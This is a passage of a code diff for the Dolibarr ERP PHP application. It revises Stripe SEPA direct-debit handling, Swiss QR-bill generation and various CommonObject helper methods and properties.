$actioncomm->percentage = -1; // Not applicable + $actioncomm->socid = $thirdparty->id; + $actioncomm->contactid = 0; + $actioncomm->authorid = $user->id; // User saving action + $actioncomm->userownerid = $user->id; // Owner of action + // Fields when action is a real email (content is already into note) + /*$actioncomm->email_msgid = $object->email_msgid; + $actioncomm->email_from = $object->email_from; + $actioncomm->email_sender= $object->email_sender; + $actioncomm->email_to = $object->email_to; + $actioncomm->email_tocc = $object->email_tocc; + $actioncomm->email_tobcc = $object->email_tobcc; + $actioncomm->email_subject = $object->email_subject; + $actioncomm->errors_to = $object->errors_to;*/ + $actioncomm->fk_element = $this->id; + $actioncomm->elementtype = $this->element; + $actioncomm->extraparams = dol_trunc($extraparams, 250); + + $actioncomm->create($user); } + + $this->description = $description; + $this->postactionmessages = $postactionmessages; + } catch (Exception $e) { $error++; $errorforinvoice++; - - $labeltouse = 'InvoicePaymentFailure'; - $sendemailtocustomer = 1; - if ($noemailtocustomeriferror) { - $sendemailtocustomer = 0; - } // $noemailtocustomeriferror is set when error already reported on myaccount screen - - $description = 'Failed to find or use your payment mode (no payment mode for this customer id)'; - $stripefailurecode = 'BADPAYMENTMODE'; - $stripefailuremessage = 'Failed to find or use your payment mode (no payment mode for this customer id)'; - $postactionmessages = []; - - $object = $invoice; - - $actioncode = 'PAYMENT_STRIPE_KO'; - $extraparams = ''; + dol_syslog('Error ' . $e->getMessage(), LOG_ERR); + $this->errors[] = 'Error ' . $e->getMessage(); } - - // Send email + create action after - if ($sendemailtocustomer && $labeltouse) { - dol_syslog("* Send email with result of payment - " . $labeltouse); - - // Set output language - $outputlangs = new Translate('', $conf); - $outputlangs->setDefaultLang(empty($object->thirdparty->default_lang) ? $mysoc->default_lang : $object->thirdparty->default_lang); - $outputlangs->loadLangs(["main", "members", "bills"]); - - // Get email content from templae - $arraydefaultmessage = null; - - include_once DOL_DOCUMENT_ROOT . '/core/class/html.formmail.class.php'; - $formmail = new FormMail($this->db); - - if (!empty($labeltouse)) { - $arraydefaultmessage = $formmail->getEMailTemplate($this->db, 'facture_send', $user, $outputlangs, 0, 1, $labeltouse); - } - - if (!empty($labeltouse) && is_object($arraydefaultmessage) && $arraydefaultmessage->id > 0) { - $subject = $arraydefaultmessage->topic; - $msg = $arraydefaultmessage->content; - } - - $substitutionarray = getCommonSubstitutionArray($outputlangs, 0, null, $object); - - //$substitutionarray['__SELLYOURSAAS_PAYMENT_ERROR_DESC__'] = $stripefailurecode . ' ' . $stripefailuremessage; - - complete_substitutions_array($substitutionarray, $outputlangs, $object); - - // Set the property ->ref_customer with ref_customer of contract so __REF_CLIENT__ will be replaced in email content - // Search contract linked to invoice - $foundcontract = null; - $this->fetchObjectLinked(); - if (is_array($this->linkedObjects['contrat']) && count($this->linkedObjects['contrat']) > 0) { - //dol_sort_array($object->linkedObjects['facture'], 'date'); - foreach ($this->linkedObjects['contrat'] as $idcontract => $contract) { - $substitutionarray['__CONTRACT_REF__'] = $contract->ref_customer; - $substitutionarray['__REFCLIENT__'] = $contract->ref_customer; // For backward compatibility - $substitutionarray['__REF_CLIENT__'] = $contract->ref_customer; - $foundcontract = $contract; - break; - } - } - - dol_syslog('__DIRECTDOWNLOAD_URL_INVOICE__=' . $substitutionarray['__DIRECTDOWNLOAD_URL_INVOICE__']); - - //erics - erreur de réécriture de l'url de téléchargement direct de la facture ... le lien de base est le bon - //on cherche donc d'ou vien le pb ... - //$urlforsellyoursaasaccount = getRootUrlForAccount($foundcontract); - // if ($urlforsellyoursaasaccount) { - // $tmpforurl = preg_replace('/.*document.php/', '', $substitutionarray['__DIRECTDOWNLOAD_URL_INVOICE__']); - // if ($tmpforurl) { - // dol_syslog('__DIRECTDOWNLOAD_URL_INVOICE__ cas 1, urlforsellyoursaasaccount=' . $urlforsellyoursaasaccount); - // // $substitutionarray['__DIRECTDOWNLOAD_URL_INVOICE__'] = $urlforsellyoursaasaccount . '/source/document.php' . $tmpforurl; - // } else { - // dol_syslog('__DIRECTDOWNLOAD_URL_INVOICE__ cas 2, urlforsellyoursaasaccount=' . $urlforsellyoursaasaccount); - // // $substitutionarray['__DIRECTDOWNLOAD_URL_INVOICE__'] = $urlforsellyoursaasaccount; - // } - // } - - $subjecttosend = make_substitutions($subject, $substitutionarray, $outputlangs); - $texttosend = make_substitutions($msg, $substitutionarray, $outputlangs); - - // Attach a file ? - $file = ''; - $listofpaths = []; - $listofnames = []; - $listofmimes = []; - if (is_object($invoice)) { - $invoicediroutput = $conf->facture->dir_output; - //erics - choix du PDF a joindre aux mails - $fileparams = dol_most_recent_file($invoicediroutput . '/' . $this->ref, preg_quote($this->ref, '/') . '[^\-]+*.pdf'); - $file = $fileparams['fullname']; - //$file = $invoicediroutput . '/' . $this->ref . '/' . $this->ref . '.pdf'; - // $file = ''; // Disable attachment of invoice in emails - - if ($file) { - $listofpaths = [$file]; - $listofnames = [basename($file)]; - $listofmimes = [dol_mimetype($file)]; - } - } - $from = "";//$conf->global->SELLYOURSAAS_NOREPLY_EMAIL; - - $trackid = 'inv' . $this->id; - $moreinheader = 'X-Dolibarr-Info: makeStripeSepaRequest' . "\r\n"; - - // Send email (substitutionarray must be done just before this) - include_once DOL_DOCUMENT_ROOT . '/core/class/CMailFile.class.php'; - $mailfile = new CMailFile($subjecttosend, $this->thirdparty->email, $from, $texttosend, $listofpaths, $listofmimes, $listofnames, '', '', 0, -1, '', '', $trackid, $moreinheader); - if ($mailfile->sendfile()) { - $result = 1; - } else { - $this->error = $langs->trans("ErrorFailedToSendMail", $from, $this->thirdparty->email) . '. ' . $mailfile->error; - $result = -1; - } - - if ($result < 0) { - $errmsg = $this->error; - $postactionmessages[] = $errmsg; - $ispostactionok = -1; - } else { - if ($file) { - $postactionmessages[] = 'Email sent to thirdparty (to ' . $this->thirdparty->email . ' with invoice document attached: ' . $file . ', language = ' . $outputlangs->defaultlang . ')'; - } else { - $postactionmessages[] = 'Email sent to thirdparty (to ' . $this->thirdparty->email . ' without any attached document, language = ' . $outputlangs->defaultlang . ')'; - } - } - } - - if ($description) { - dol_syslog("* Record event for payment result - " . $description); - require_once DOL_DOCUMENT_ROOT.'/comm/action/class/actioncomm.class.php'; - - // Insert record of payment (success or error) - $actioncomm = new ActionComm($this->db); - - $actioncomm->type_code = 'AC_OTH_AUTO'; // Type of event ('AC_OTH', 'AC_OTH_AUTO', 'AC_XXX'...) - $actioncomm->code = 'AC_' . $actioncode; - $actioncomm->label = $description; - $actioncomm->note_private = join(",\n", $postactionmessages); - $actioncomm->fk_project = $this->fk_project; - $actioncomm->datep = $now; - $actioncomm->datef = $now; - $actioncomm->percentage = -1; // Not applicable - $actioncomm->socid = $thirdparty->id; - $actioncomm->contactid = 0; - $actioncomm->authorid = $user->id; // User saving action - $actioncomm->userownerid = $user->id; // Owner of action - // Fields when action is a real email (content is already into note) - /*$actioncomm->email_msgid = $object->email_msgid; - $actioncomm->email_from = $object->email_from; - $actioncomm->email_sender= $object->email_sender; - $actioncomm->email_to = $object->email_to; - $actioncomm->email_tocc = $object->email_tocc; - $actioncomm->email_tobcc = $object->email_tobcc; - $actioncomm->email_subject = $object->email_subject; - $actioncomm->errors_to = $object->errors_to;*/ - $actioncomm->fk_element = $this->id; - $actioncomm->elementtype = $this->element; - $actioncomm->extraparams = dol_trunc($extraparams, 250); - - $actioncomm->create($user); - } - - $this->description = $description; - $this->postactionmessages = $postactionmessages; - } catch (Exception $e) { + } else { // If remain to pay is null $error++; $errorforinvoice++; - dol_syslog('Error ' . $e->getMessage(), LOG_ERR); - $this->errors[] = 'Error ' . $e->getMessage(); + dol_syslog("Remain to pay is null for the invoice " . $this->id . " " . $this->ref . ". Why is the invoice not classified 'Paid' ?", LOG_WARNING); + $this->errors[] = "Remain to pay is null for the invoice " . $this->id . " " . $this->ref . ". Why is the invoice not classified 'Paid' ?"; } - } else { // If remain to pay is null - $error++; - $errorforinvoice++; - dol_syslog("Remain to pay is null for the invoice " . $this->id . " " . $this->ref . ". Why is the invoice not classified 'Paid' ?", LOG_WARNING); - $this->errors[] = "Remain to pay is null for the invoice " . $this->id . " " . $this->ref . ". Why is the invoice not classified 'Paid' ?"; } - $sql = "INSERT INTO ".MAIN_DB_PREFIX."prelevement_demande("; - $sql .= "fk_facture, "; - $sql .= " amount, date_demande, fk_user_demande, ext_payment_id, ext_payment_site, sourcetype, entity)"; - $sql .= " VALUES (".$this->id; - $sql .= ",".((float) price2num($amount)); - $sql .= ",'".$this->db->idate($now)."'"; - $sql .= ",".((int) $fuser->id); - $sql .= ",'".$this->db->escape($stripe_id)."'"; - $sql .= ",'".$this->db->escape($stripe_uri)."'"; - $sql .= ",'".$this->db->escape($sourcetype)."'"; - $sql .= ",".$conf->entity; - $sql .= ")"; + // Set status of the order to "Transferred" with method 'api' + if (!$error && !$errorforinvoice) { + $result = $bon->set_infotrans($user, $now, 3); + if ($result < 0) { + $error++; + $errorforinvoice++; + dol_syslog("Error on BonPrelevement creation", LOG_ERR); + $this->errors[] = "Error on BonPrelevement creation"; + } + } - dol_syslog(get_class($this)."::makeStripeSepaRequest", LOG_DEBUG); - $resql = $this->db->query($sql); - if (!$resql) { - $this->error = $this->db->lasterror(); - dol_syslog(get_class($this).'::makeStripeSepaRequest Erreur'); - $error++; + if (!$error && !$errorforinvoice) { + // Update the direct debit payment request of the processed invoice to save the id of the prelevement_bon + $sql = "UPDATE ".MAIN_DB_PREFIX."prelevement_demande SET"; + $sql .= " ext_payment_id = '".$this->db->escape($paymentintent->id)."',"; + $sql .= " ext_payment_site = '".$this->db->escape($service)."'"; + $sql .= " WHERE rowid = ".((int) $did); + + dol_syslog(get_class($this)."::makeStripeSepaRequest update to save stripe paymentintent ids", LOG_DEBUG); + $resql = $this->db->query($sql); + if (!$resql) { + $this->error = $this->db->lasterror(); + dol_syslog(get_class($this).'::makeStripeSepaRequest Erreur'); + $error++; + } + } + + if (!$error && !$errorforinvoice) { + $this->db->commit(); + } else { + $this->db->rollback(); } } else { $this->error = 'WithdrawRequestErrorNilAmount'; @@ -1598,13 +1322,14 @@ abstract class CommonInvoice extends CommonObject $error++; } + /* if (!$error) { - // Force payment mode of invoice to withdraw + // Force payment mode of the invoice to withdraw $payment_mode_id = dol_getIdFromCode($this->db, ($type == 'bank-transfer' ? 'VIR' : 'PRE'), 'c_paiement', 'code', 'id', 1); if ($payment_mode_id > 0) { $result = $this->setPaymentMethods($payment_mode_id); } - } + }*/ if ($error) { return -1; @@ -1740,33 +1465,48 @@ abstract class CommonInvoice extends CommonObject if ($this->ref_client) { $complementaryinfo .= '/20/'.$this->ref_client; } - if ($this->thirdparty->vat_number) { - $complementaryinfo .= '/30/'.$this->thirdparty->vat_number; + if ($this->thirdparty->tva_intra) { + $complementaryinfo .= '/30/'.$this->thirdparty->tva_intra; } + include_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; + $bankaccount = new Account($this->db); + // Header + $s = ''; $s .= "SPC\n"; $s .= "0200\n"; $s .= "1\n"; + // Info Seller ("Compte / Payable à") if ($this->fk_account > 0) { - // Bank BAN if country is LI or CH - // TODO Add - $bankaccount = new Account($this->db); + // Bank BAN if country is LI or CH. TODO Add a test to check than IBAN start with CH or LI $bankaccount->fetch($this->fk_account); $s .= $bankaccount->iban."\n"; } else { $s .= "\n"; } - // Seller - $s .= "S\n"; - $s .= dol_trunc($mysoc->name, 70, 'right', 'UTF-8', 1)."\n"; - $addresslinearray = explode("\n", $mysoc->address); - $s .= dol_trunc(empty($addresslinearray[1]) ? '' : $addresslinearray[1], 70, 'right', 'UTF-8', 1)."\n"; // address line 1 - $s .= dol_trunc(empty($addresslinearray[2]) ? '' : $addresslinearray[2], 70, 'right', 'UTF-8', 1)."\n"; // address line 2 - $s .= dol_trunc($mysoc->zip, 16, 'right', 'UTF-8', 1)."\n"; - $s .= dol_trunc($mysoc->town, 35, 'right', 'UTF-8', 1)."\n"; - $s .= dol_trunc($mysoc->country_code, 2, 'right', 'UTF-8', 1)."\n"; - // Final seller + if ($bankaccount->id > 0 && getDolGlobalString('PDF_SWISS_QRCODE_USE_OWNER_OF_ACCOUNT_AS_CREDITOR')) { + // If a bank account is prodived and we ask to use it as creditor, we use the bank address + // TODO In a future, we may always use this address, and if name/address/zip/town/country differs from $mysoc, we can use the address of $mysoc into the final seller field ? + $s .= "S\n"; + $s .= dol_trunc($bankaccount->proprio, 70, 'right', 'UTF-8', 1)."\n"; + $addresslinearray = explode("\n", $bankaccount->owner_address); + $s .= dol_trunc(empty($addresslinearray[1]) ? '' : $addresslinearray[1], 70, 'right', 'UTF-8', 1)."\n"; // address line 1 + $s .= dol_trunc(empty($addresslinearray[2]) ? '' : $addresslinearray[2], 70, 'right', 'UTF-8', 1)."\n"; // address line 2 + /*$s .= dol_trunc($mysoc->zip, 16, 'right', 'UTF-8', 1)."\n"; + $s .= dol_trunc($mysoc->town, 35, 'right', 'UTF-8', 1)."\n"; + $s .= dol_trunc($mysoc->country_code, 2, 'right', 'UTF-8', 1)."\n";*/ + } else { + $s .= "S\n"; + $s .= dol_trunc($mysoc->name, 70, 'right', 'UTF-8', 1)."\n"; + $addresslinearray = explode("\n", $mysoc->address); + $s .= dol_trunc(empty($addresslinearray[1]) ? '' : $addresslinearray[1], 70, 'right', 'UTF-8', 1)."\n"; // address line 1 + $s .= dol_trunc(empty($addresslinearray[2]) ? '' : $addresslinearray[2], 70, 'right', 'UTF-8', 1)."\n"; // address line 2 + $s .= dol_trunc($mysoc->zip, 16, 'right', 'UTF-8', 1)."\n"; + $s .= dol_trunc($mysoc->town, 35, 'right', 'UTF-8', 1)."\n"; + $s .= dol_trunc($mysoc->country_code, 2, 'right', 'UTF-8', 1)."\n"; + } + // Final seller (Ultimate seller) ("Créancier final" = "En faveur de") $s .= "\n"; $s .= "\n"; $s .= "\n"; @@ -1788,13 +1528,18 @@ abstract class CommonInvoice extends CommonObject $s .= dol_trunc($this->thirdparty->country_code, 2, 'right', 'UTF-8', 1)."\n"; // ID of payment $s .= "NON\n"; // NON or QRR - $s .= "\n"; // QR Code if previous field is QRR + $s .= "\n"; // QR Code reference if previous field is QRR + // Free text if ($complementaryinfo) { $s .= $complementaryinfo."\n"; } else { $s .= "\n"; } $s .= "EPD\n"; + // More text, complementary info + if ($complementaryinfo) { + $s .= $complementaryinfo."\n"; + } $s .= "\n"; //var_dump($s);exit; return $s; diff --git a/htdocs/core/class/commonobject.class.php b/htdocs/core/class/commonobject.class.php index fb3af09a72b..e53cc85c21f 100644 --- a/htdocs/core/class/commonobject.class.php +++ b/htdocs/core/class/commonobject.class.php @@ -12,10 +12,11 @@ * Copyright (C) 2017 ATM Consulting * Copyright (C) 2017-2019 Nicolas ZABOURI * Copyright (C) 2017 Rui Strecht - * Copyright (C) 2018-2021 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * Copyright (C) 2018 Josep Lluís Amador - * Copyright (C) 2021 Gauthier VERDOL + * Copyright (C) 2023 Gauthier VERDOL * Copyright (C) 2021 Grégory Blémand + * Copyright (C) 2023 Lenin Rivas * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -85,6 +86,11 @@ abstract class CommonObject */ public $element; + /** + * @var int The related element + */ + public $fk_element; + /** * @var string Name to use for 'features' parameter to check module permissions user->rights->feature with restrictedArea(). * Undefined means same value than $element. Can be use to force a check on another element for example for class of line, we mention here the parent element. @@ -182,6 +188,7 @@ abstract class CommonObject public $fk_project; /** + * @var Project The related project object * @deprecated * @see project */ @@ -389,6 +396,22 @@ abstract class CommonObject */ public $shipping_method_id; + /** + * @var string Shipping method label + * @see setShippingMethod() + */ + public $shipping_method; + + /** + * @var string multicurrency code + */ + public $multicurrency_code; + + /** + * @var string multicurrency tx + */ + public $multicurrency_tx; + /** * @var string * @see SetDocModel() @@ -592,6 +615,20 @@ abstract class CommonObject protected $labelStatus; protected $labelStatusShort; + /** + * @var int showphoto_on_popup + */ + public $showphoto_on_popup; + + /** + * @var array nb used in load_stateboard + */ + public $nb = array(); + + /** + * @var string output + */ + public $output; /** * @var array List of child tables. To test if we can delete object. @@ -655,6 +692,79 @@ abstract class CommonObject return -1; } + /** + * setErrorsFromObject + * + * @param CommonObject $object commonobject + * @return void + */ + public function setErrorsFromObject($object) + { + if (!empty($object->error)) { + $this->error = $object->error; + } + if (!empty($object->errors)) { + $this->errors = array_merge($this->errors, $object->errors); + } + } + + /** + * getTooltipContentArray + * + * @since v18 + * @param array $params params to construct tooltip data + * @return array + */ + public function getTooltipContentArray($params) + { + return []; + } + + /** + * getTooltipContent + * + * @param array $params params + * @since v18 + * @return string + */ + public function getTooltipContent($params) + { + global $action, $extrafields, $langs, $hookmanager; + + $MAX_EXTRAFIELDS_TO_SHOW_IN_TOOLTIP = 5; // If there is too much extrafields, we do not include them into tooltip + + $datas = $this->getTooltipContentArray($params); + + // Add extrafields + if (!empty($extrafields->attributes[$this->table_element]['label'])) { + if (count($extrafields->attributes[$this->table_element]['label']) < $MAX_EXTRAFIELDS_TO_SHOW_IN_TOOLTIP) { + foreach ($extrafields->attributes[$this->table_element]['label'] as $key => $val) { + if (!empty($extrafields->attributes[$this->table_element]['langfile'][$key])) { + $langs->load($extrafields->attributes[$this->table_element]['langfile'][$key]); + } + $labelextra = $langs->trans((string) $extrafields->attributes[$this->table_element]['label'][$key]); + if ($extrafields->attributes[$this->table_element]['type'][$key] == 'separate') { + $datas[$key]= '
      '. $labelextra . ''; + } else { + $value = (empty($this->array_options['options_' . $key]) ? '' : $this->array_options['options_' . $key]); + $datas[$key]= '
      '. $labelextra . ': ' . $extrafields->showOutputField($key, $value, '', $this->table_element); + } + } + } + } + + $hookmanager->initHooks(array($this->element . 'dao')); + $parameters = array( + 'tooltipcontentarray' => &$datas + ); + // Note that $action and $object may have been modified by some hooks + $hookmanager->executeHooks('getTooltipContent', $parameters, $this, $action); + + $label = implode($datas); + + return $label; + } + /** * Method to output saved errors @@ -769,35 +879,6 @@ abstract class CommonObject } } - /** - * Return clicable link of object (with eventually picto) - * - * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) - * @return string HTML Code for Kanban thumb. - */ - public function getKanbanView($option = '') - { - $return = '
      '; - $return .= '
      '; - $return .= ''; - $return .= img_picto('', $this->picto); - //$return .= ''; // Can be image - $return .= ''; - $return .= '
      '; - $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref).''; - if (property_exists($this, 'label')) { - $return .= '
      '.$this->label.''; - } - if (method_exists($this, 'getLibStatut')) { - $return .= '
      '.$this->getLibStatut(5).'
      '; - } - $return .= '
      '; - $return .= '
      '; - $return .= '
      '; - - return $return; - } - /** * Return full address of contact * @@ -850,7 +931,7 @@ abstract class CommonObject } if ($this->element == 'contact') { $contactid = $this->id; - $thirdpartyid = empty($object->fk_soc) ? 0 : $object->fk_soc; + $thirdpartyid = empty($this->fk_soc) ? 0 : $this->fk_soc; } if ($this->element == 'user') { $contactid = $this->contact_id; @@ -874,8 +955,11 @@ abstract class CommonObject $out .= img_picto($langs->trans("Address"), 'map-marker-alt'); $out .= ' '; } - $out .= dol_print_address($coords, 'address_'.$htmlkey.'_'.$this->id, $this->element, $this->id, 1, ', '); - $outdone++; + $address = dol_print_address($coords, 'address_'.$htmlkey.'_'.$this->id, $this->element, $this->id, 1, ', '); + if ($address) { + $out .= $address; + $outdone++; + } $outdone++; // List of extra languages @@ -901,6 +985,7 @@ abstract class CommonObject // If there is extra languages foreach ($arrayoflangcode as $extralangcode) { $s = picto_from_langcode($extralangcode, 'class="pictoforlang paddingright"'); + // This also call dol_format_address() $coords = $this->getFullAddress(1, ', ', $conf->global->MAIN_SHOW_REGION_IN_STATE_SELECT, $extralangcode); $htmltext .= $s.dol_print_address($coords, 'address_'.$htmlkey.'_'.$this->id, $this->element, $this->id, 1, ', '); } @@ -909,7 +994,8 @@ abstract class CommonObject } } - if (!in_array($this->country_code, $countriesusingstate) && empty($conf->global->MAIN_FORCE_STATE_INTO_ADDRESS) // If MAIN_FORCE_STATE_INTO_ADDRESS is on, state is already returned previously with getFullAddress + // If MAIN_FORCE_STATE_INTO_ADDRESS is on, state is already returned previously with getFullAddress + if (!in_array($this->country_code, $countriesusingstate) && empty($conf->global->MAIN_FORCE_STATE_INTO_ADDRESS) && empty($conf->global->SOCIETE_DISABLE_STATE) && $this->state) { if (!empty($conf->global->MAIN_SHOW_REGION_IN_STATE_SELECT) && $conf->global->MAIN_SHOW_REGION_IN_STATE_SELECT == 1 && $this->region) { $out .= ($outdone ? ' - ' : '').$this->region.' - '.$this->state; @@ -919,6 +1005,10 @@ abstract class CommonObject $outdone++; } + if ($outdone) { + $out = '
      '.$out.'
      '; + } + if (!empty($this->phone) || !empty($this->phone_pro) || !empty($this->phone_mobile) || !empty($this->phone_perso) || !empty($this->fax) || !empty($this->office_phone) || !empty($this->user_mobile) || !empty($this->office_fax)) { $out .= ($outdone ? '
      ' : ''); } @@ -980,27 +1070,6 @@ abstract class CommonObject } $outdone++; } - } else { // Old code to remove - if (!empty($this->skype)) { - $outsocialnetwork .= dol_print_socialnetworks($this->skype, $this->id, $object->id, 'skype'); - } - $outdone++; - if (!empty($this->jabberid)) { - $outsocialnetwork .= dol_print_socialnetworks($this->jabberid, $this->id, $object->id, 'jabber'); - } - $outdone++; - if (!empty($this->twitter)) { - $outsocialnetwork .= dol_print_socialnetworks($this->twitter, $this->id, $object->id, 'twitter'); - } - $outdone++; - if (!empty($this->facebook)) { - $outsocialnetwork .= dol_print_socialnetworks($this->facebook, $this->id, $object->id, 'facebook'); - } - $outdone++; - if (!empty($this->linkedin)) { - $outsocialnetwork .= dol_print_socialnetworks($this->linkedin, $this->id, $object->id, 'linkedin'); - } - $outdone++; } if ($outsocialnetwork) { @@ -1310,11 +1379,11 @@ abstract class CommonObject // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** - * Delete all links between an object $this and all its contacts + * Delete all links between an object $this and all its contacts in llx_element_contact * * @param string $source '' or 'internal' or 'external' * @param string $code Type of contact (code or id) - * @return int >0 if OK, <0 if KO + * @return int <0 if KO, 0=Nothing done, >0 if OK */ public function delete_linked_contact($source = '', $code = '') { @@ -1330,11 +1399,15 @@ abstract class CommonObject $listId = implode(",", $temp); } + // If $listId is empty, we have not criteria on fk_c_type_contact so we will delete record on element_id for + // any type or record instead of only the ones of the current object. So we do nothing in such a case. + if (empty($listId)) { + return 0; + } + $sql = "DELETE FROM ".$this->db->prefix()."element_contact"; $sql .= " WHERE element_id = ".((int) $this->id); - if (!empty($listId)) { - $sql .= " AND fk_c_type_contact IN (".$this->db->sanitize($listId).")"; - } + $sql .= " AND fk_c_type_contact IN (".$this->db->sanitize($listId).")"; dol_syslog(get_class($this)."::delete_linked_contact", LOG_DEBUG); if ($this->db->query($sql)) { @@ -1351,12 +1424,13 @@ abstract class CommonObject * * @param int $statusoflink Status of links to get (-1=all). Not used. * @param string $source Source of contact: 'external' or 'thirdparty' (llx_socpeople) or 'internal' (llx_user) - * @param int $list 0:Return array contains all properties, 1:Return array contains just id + * @param int $list 0:Returned array contains all properties, 1:Return array contains just id * @param string $code Filter on this code of contact type ('SHIPPING', 'BILLING', ...) * @param int $status Status of user or company + * @param array $arrayoftcids Array with ID of type of contacts. If we provide this, we can make a ec.fk_c_type_contact in ($arrayoftcids) to avoid link on tc table. TODO Not implemented. * @return array|int Array of contacts, -1 if error */ - public function liste_contact($statusoflink = -1, $source = 'external', $list = 0, $code = '', $status = -1) + public function liste_contact($statusoflink = -1, $source = 'external', $list = 0, $code = '', $status = -1, $arrayoftcids = array()) { // phpcs:enable global $langs; @@ -1372,8 +1446,8 @@ abstract class CommonObject } $sql .= ", t.civility as civility, t.lastname as lastname, t.firstname, t.email"; $sql .= ", tc.source, tc.element, tc.code, tc.libelle"; - $sql .= " FROM ".$this->db->prefix()."c_type_contact tc"; - $sql .= ", ".$this->db->prefix()."element_contact ec"; + $sql .= " FROM ".$this->db->prefix()."c_type_contact tc,"; + $sql .= " ".$this->db->prefix()."element_contact ec"; if ($source == 'internal') { // internal contact (user) $sql .= " LEFT JOIN ".$this->db->prefix()."user t on ec.fk_socpeople = t.rowid"; } @@ -1398,7 +1472,7 @@ abstract class CommonObject $sql .= " AND t.statut = ".((int) $status); // t is llx_socpeople } } - $sql .= " AND tc.active=1"; + $sql .= " AND tc.active = 1"; if ($statusoflink >= 0) { $sql .= " AND ec.statut = ".((int) $statusoflink); } @@ -1416,6 +1490,7 @@ abstract class CommonObject $transkey = "TypeContact_".$obj->element."_".$obj->source."_".$obj->code; $libelle_type = ($langs->trans($transkey) != $transkey ? $langs->trans($transkey) : $obj->libelle); $tab[$i] = array( + 'parentId' => $this->id, 'source' => $obj->source, 'socid' => $obj->socid, 'id' => $obj->id, @@ -2016,7 +2091,7 @@ abstract class CommonObject * @param mixed $value New value * @param string $table To force other table element or element line (should not be used) * @param int $id To force other object id (should not be used) - * @param string $format Data format ('text', 'date'). 'text' is used if not defined + * @param string $format Data format ('text', 'int', 'date'). 'text' is used if not defined * @param string $id_field To force rowid field name. 'rowid' is used if not defined * @param User|string $fuser Update the user of last update field with this user. If not provided, current user is used except if value is 'none' * @param string $trigkey Trigger key to run (in most cases something like 'XXX_MODIFY') @@ -2041,10 +2116,6 @@ abstract class CommonObject $id_field = 'rowid'; } - $error = 0; - - $this->db->begin(); - // Special case if ($table == 'product' && $field == 'note_private') { $field = 'note'; @@ -2053,6 +2124,34 @@ abstract class CommonObject $fk_user_field = 'fk_user_mod'; } + if ($trigkey) { + $oldvalue = null; + + $sql = "SELECT " . $field; + $sql .= " FROM " . MAIN_DB_PREFIX . $table; + $sql .= " WHERE " . $id_field . " = " . ((int) $id); + + $resql = $this->db->query($sql); + if ($resql) { + if ($obj = $this->db->fetch_object($resql)) { + if ($format == 'date') { + $oldvalue = $this->db->jdate($obj->$field); + } else { + $oldvalue = $obj->$field; + } + } + } else { + $this->error = $this->db->lasterror(); + return -1; + } + } + + $error = 0; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $this->db->begin(); + $sql = "UPDATE ".$this->db->prefix().$table." SET "; if ($format == 'text') { @@ -2061,6 +2160,8 @@ abstract class CommonObject $sql .= $field." = ".((int) $value); } elseif ($format == 'date') { $sql .= $field." = ".($value ? "'".$this->db->idate($value)."'" : "null"); + } elseif ($format == 'dategmt') { + $sql .= $field." = ".($value ? "'".$this->db->idate($value, 'gmt')."'" : "null"); } if ($fk_user_field) { @@ -2073,7 +2174,6 @@ abstract class CommonObject $sql .= " WHERE ".$id_field." = ".((int) $id); - dol_syslog(__METHOD__."", LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { if ($trigkey) { @@ -2083,6 +2183,11 @@ abstract class CommonObject } else { $result = $this->fetchCommon($id); } + $this->oldcopy = clone $this; + if (property_exists($this->oldcopy, $field)) { + $this->oldcopy->$field = $oldvalue; + } + if ($result >= 0) { $result = $this->call_trigger($trigkey, (!empty($fuser) && is_object($fuser)) ? $fuser : $user); // This may set this->errors } @@ -3339,6 +3444,8 @@ abstract class CommonObject $row = $this->db->fetch_row($resql); return $row[0]; } + + return 0; } /** @@ -3362,6 +3469,8 @@ abstract class CommonObject $row = $this->db->fetch_row($resql); return $row[0]; } + + return 0; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps @@ -3407,6 +3516,8 @@ abstract class CommonObject return $row[0]; } } + + return 0; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps @@ -3797,7 +3908,7 @@ abstract class CommonObject // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** - * Add objects linked in llx_element_element. + * Add an object link into llx_element_element. * * @param string $origin Linked element type * @param int $origin_id Linked element id @@ -4119,6 +4230,21 @@ abstract class CommonObject } } + /** + * Clear the cache saying that all linked object were already loaded. So next fetchObjectLinked will reload all links. + * + * @return int <0 if KO, >0 if OK + * @see fetchObjectLinked() + */ + public function clearObjectLinkedCache() + { + if ($this->id > 0 && !empty($this->linkedObjectsFullLoaded[$this->id])) { + unset($this->linkedObjectsFullLoaded[$this->id]); + } + + return 1; + } + /** * Update object linked of a current object * @@ -4278,7 +4404,7 @@ abstract class CommonObject * @param string $field_select name of field we need to get a list * @param string $field_where name of field of object we need to get linked items * @param string $table_element name of association table - * @return array Array of record + * @return array|int Array of record, -1 if empty */ public static function getAllItemsLinkedByObjectID($fk_object_where, $field_select, $field_where, $table_element) { @@ -4519,10 +4645,12 @@ abstract class CommonObject $row = $this->db->fetch_row($resql); return $row[0]; } + + return 0; } /** - * Function to check if an object is used by others. + * Function to check if an object is used by others (by children). * Check is done into this->childtables. There is no check into llx_element_element. * * @param int $id Force id of object @@ -4543,8 +4671,8 @@ abstract class CommonObject return -1; } - $arraytoscan = $this->childtables; - // For backward compatibility, we check if array is old format array('table1', 'table2', ...) + $arraytoscan = $this->childtables; // array('tablename'=>array('fk_element'=>'parentfield'), ...) or array('tablename'=>array('parent'=>table_parent, 'parentkey'=>'nameoffieldforparentfkkey'), ...) + // For backward compatibility, we check if array is old format array('tablename1', 'tablename2', ...) $tmparray = array_keys($this->childtables); if (is_numeric($tmparray[0])) { $arraytoscan = array_flip($this->childtables); @@ -4560,10 +4688,17 @@ abstract class CommonObject if (!empty($element['parent']) && !empty($element['parentkey'])) { $sql.= ", ".$this->db->prefix().$element['parent']." as p"; } - $sql.= " WHERE c.".$this->fk_element." = ".((int) $id); + if (!empty($element['fk_element'])) { + $sql.= " WHERE c.".$element['fk_element']." = ".((int) $id); + } else { + $sql.= " WHERE c.".$this->fk_element." = ".((int) $id); + } if (!empty($element['parent']) && !empty($element['parentkey'])) { 